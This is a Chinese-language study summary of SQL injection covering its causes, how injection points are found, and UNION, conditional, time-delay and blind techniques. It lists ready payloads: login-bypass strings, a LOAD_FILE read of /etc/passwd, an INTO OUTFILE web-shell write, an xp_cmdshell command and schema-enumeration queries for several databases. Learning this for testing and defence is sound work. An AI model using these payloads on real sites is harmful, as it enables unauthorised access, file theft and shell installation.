SQL注入总结

SQL注入介绍

不管是何种语言编写的Web应用,有一部分是相同的,它们都具有交互性并且多半是数据库驱动的。
数据库驱动的Web应用通常有三层:表示层:Web浏览器或呈现引擎;逻辑层:如C# ASP .NET PHP等编程语言;存储层:MySQL等数据库。
SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

SQL注入成因

  • 转义字符处理不当
    SQL将 ' 解析成代码与数据间的分界线:单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。因此,只需要在URL或者Web页面的字段中输入一个单引号,就能快速识别出Web站点是否会受到SQL注入攻击。
    单引号并不是唯一的转义字符,比如在Oracle中,空格( )、双竖线(||)、逗号(,)、点号(.)、(*/)均具有特殊含义:
    • 管道字符用于为一个值追加一个函数,函数的结果将转换并与前面的值连接。
    • */用于结束注释或Oracle中的优化提示。
  • 类型处理不当
    • 比如数字类型不需要使用引号,如果使用引号则会被当做字符串处理。如果将下列语句作为输入,那么攻击者便会读取/etc/passwd文件中的内容,该文件包含系统用户的属性和用户名:

      1 UNION ALL SELECT LOAD_FILE('/etc/passwd')

    • MySQL中还有一个内置命令,可使用该命令来创建系统文件并进行写操作。还可以使用下列命令向Web根目录写入一个Web shell以便安装一个可远程交互访问的Web shell:

      1UNION SELECT "" INTO OUTFILE "/var/www/html/***.com/cmd.php"

  • 查询语句组装不当
    用户通过修改GET请求得到未经允许访问的数据,如users表的用户名及密码。
  • 错误处理不当
    最常见的问题是将详细的内部错误信息显示给用户或攻击者,这些细节会为攻击者提供与网站缺陷相关的重要线索。
  • 多个提交处理不当
    程序只对攻击者提交的第一个表单进行校验而忽略对之后的表单进行校验。

注入点发现

  • 借助推理进行测试
  • 识别输入
    • GET请求:使用该方法时,信息包含在URL中,请求在URL中发送参数,远程应用将检索这些参数的值,将他们用于事先设计好的目的。
    • POST请求:一种用于向Web服务器发送信息的HTTP方法。服务器执行的操作取决于目标URL.
    • 其他注入型数据:cookie,主机头,引用站点头和用户代理头
  • 操纵参数
    识别Oracle和PostgreSQL中的漏洞:参数为 bikes 和bi'||'kes
    Microsoft SQL server :bikes 和 bi'+'kes
    MySQL:bikes和bi' 'kes
    如果请求结果相同,很可能存在SQL注入漏洞
  • 用户数据验证有两个原因会引发SQL注入漏洞:
    • 缺少用户输入验证
    • 数据和控制结构混合在同一传输通道中。

为防止出现这种漏洞,首要措施是执行严格的用户输入验证和输出编码。列如可以采用白名单方法。

万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
  • admin' union select '123' as password -- ;在密码处填入123,用于通过username查询密码然后校验匹配关系的情况

使用UNION语句查询数据

  • 语句:

    select colunms_1,colunms_2,...,colunms_N from table_1
    UNION
    select colunms_1,colunms_2,...,colunms_N from table_2;

  • 使用条件:
    • 两个查询返回的列数必须相同;
      • 通过order by + 二分法测试列数是个好办法
    • 两个select语句对应列所返回的数据类型必须相同(或者至少兼容)
  • 技巧:
    • 移除原始查询产生的行:id = 1 AND 1=0 UNION SELECT XXXX;

条件语句

  • 语句:
    • SQL Server:IF("a"="a") SELECT 1 ELSE SELECT 2
    • MySQL:SELECT IF('a',1(true),2(false))
    • Oracle:SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2 END FROM DUAL
    • PostgreSQL:SELECT CASE WHEN(1=1) THEN 'a' else 'b' END
  • 示例:SELECT * FROM products WHERE brand = 'ac'+char(108+(case when(system_user='sa') then 1 else 0 end))+ 'e'

时延注入

  • SQL Server:
    • WAITFOR DELAY '0:0:5' --
    • 如果有管理员权限还可以通过xp_cmdshell扩展存储来产生延时:EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'
  • MySQL:
    • SELECT BENCHMARK(1000000,sha1('test'))
    • SELECT SLEEP(5) //5.0.12以上版本
  • PostgreSQL:SELECT pg_sleep(5)
  • Oracle:select url_http.request('http://8.8.8.8') from dual //访问一个不存在的url通过超时来实现延时

枚举数据库信息

  • SQL Server:
    • 读取数据库列表:select name from master..sysdatabases
    • 查询当前数据库:select db_name()
    • 查询XXX数据库对应的表:select name from XXX..sysobjects
    • 查询XXX数据库yyy中表对应的列:select name from XXX..syscolumns where id = (select id from XXX..sysobjects where name = 'yyy')
  • MYSQL
    • 查询当前用户:select user(); / select current_user;
    • 查询数据库信息:select schema_name from information_schema.schemata;
    • 查询数据库XXX的表名:select table_schema,table_name from information_schema.tables where schema_name = 'XXX'
    • 查询数据库XXX的yyy表的列名:table_colunm from information_schema.colunms where table_schema = 'XXX' and table_name = 'yyy'
  • PostgreSQL:
    • 列出所有数据库:select datname from pg_database
    • 查询当前数据库:select current_database()
    • 查询当前用户:select user

盲注确认手段

  • 强制产生通道错误;如注入单引号
  • 注入带副作用的查询,如时延、逻辑与或
  • 将合法输入进行拆分和平衡,如,整型转换成数学算式:4换成1+3;字符串使用拼接、转换编码

你可能感兴趣的